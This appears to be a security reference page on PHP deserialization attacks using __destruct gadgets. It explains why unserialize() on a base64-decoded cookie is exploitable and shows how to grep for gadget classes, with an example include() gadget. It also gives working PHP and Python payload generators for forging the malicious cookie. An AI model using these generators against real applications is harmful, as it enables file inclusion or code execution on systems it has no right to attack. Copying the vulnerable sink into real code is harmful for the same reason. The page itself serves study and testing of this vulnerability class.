Skip to content
PHP
__destruct gadget

__destruct gadget

PHP serialized-object __destruct gadget

PHP object serialization stores an object’s class name and property values in a string. It does not store the PHP methods belonging to that class. unserialize() reads the string, finds the named class in the running application, creates an object from that class, and restores the serialized property values.

__destruct() is a PHP magic method: a specially named method that PHP calls automatically when an object is destroyed. An attacker-controlled serialized object can select an existing class and replace property values later read by its __destruct() method. The target’s existing destructor provides the gadget; method code is not supplied by the serialized payload.

Vulnerable sink

The encoded value is decoded and passed directly to unserialize():

$serialized_data = base64_decode($_COOKIE["<COOKIE_NAME>"]);
unserialize($serialized_data);

unserialize() reconstructs the object and returns that object to the caller. Assigning the return value would store an object handle in a variable, allowing later code to keep using the same object. The return value above is not assigned, so the temporary object is discarded at the end of the statement. No variable keeps the reconstructed object alive, and PHP calls its __destruct() method immediately.

Assigning the object retains a reference and delays destruction until the variable is removed or the request shuts down:

$object = unserialize($serialized_data);

# later
unset($object);

The object flow is:

encoded input
-> base64_decode()
-> unserialize()
-> reconstructed object
-> returned object discarded
-> no variable retains the object
-> __destruct()

Finding a gadget

Search the application source for destructor methods:

grep -Rni "__destruct" .

Each matching class is reviewed from __destruct() to its final operation. A class becomes a usable gadget when the serialized payload controls a property read along that path and the final operation provides a useful primitive such as file inclusion, file deletion, or command execution.

A file-include gadget has the following shape:

class TargetClass
{
    public $file;

    public function __destruct()
    {
        include($this->file);
    }
}

The controlled value is the file property. The method itself is not overridden. A payload naming TargetClass and setting file causes the target’s existing destructor to call include() with that value.

The class must already be declared or autoloadable when unserialize() runs. Otherwise, PHP creates an incomplete object without the target class methods.

PHP payload generator

The generator defines the same class name and properties as the target gadget. Object state means the class name and current property values. The destructor does not need to be copied because serialize() stores this state rather than method bodies; the target supplies the real method implementation when it reconstructs the object.

<?php
class TargetClass
{
    public $file = "<CONTROLLED_FILE_PATH>";
}

$payload_object = new TargetClass();
$serialized_payload = serialize($payload_object);
$encoded_payload = base64_encode($serialized_payload);
print($encoded_payload);
?>

TargetClass is replaced with the exact class name found in the target source. The property name and visibility must match the target property used by __destruct().

Generate the payload from Python

The PHP generator can be written once and executed through subprocess.run() whenever the exploit starts:

from pathlib import Path
import subprocess

def create_php_payload_generator():
    php_script = '''<?php
class TargetClass
{
    public $file = "<CONTROLLED_FILE_PATH>";
}

$payload_object = new TargetClass();
$serialized_payload = serialize($payload_object);
$encoded_payload = base64_encode($serialized_payload);
print($encoded_payload);
?>
'''
    generator_path = Path("payload.php")
    if not generator_path.exists():
        with open(generator_path, "w") as f:
            f.write(php_script)
    absolute_generator_path = generator_path.resolve()
    return absolute_generator_path

def generate_serialized_payload(absolute_generator_path):
    command = f"php {absolute_generator_path}"
    process = subprocess.run(command, shell=True, capture_output=True, text=True, check=True)
    encoded_payload = process.stdout
    encoded_payload = encoded_payload.strip()
    return encoded_payload

absolute_generator_path = create_php_payload_generator()
encoded_payload = generate_serialized_payload(absolute_generator_path)
print(f"[+] Payload generated: {encoded_payload}")

The resulting Base64 value is inserted into the application-controlled cookie, parameter, or request body that reaches base64_decode() and unserialize().

Find by: php deserialization, php object injection, unserialize, serialize, base64 serialized object, magic method, destruct, __destruct, destructor gadget, discarded return value, object reference, gadget discovery, controlled property, include gadget, payload generator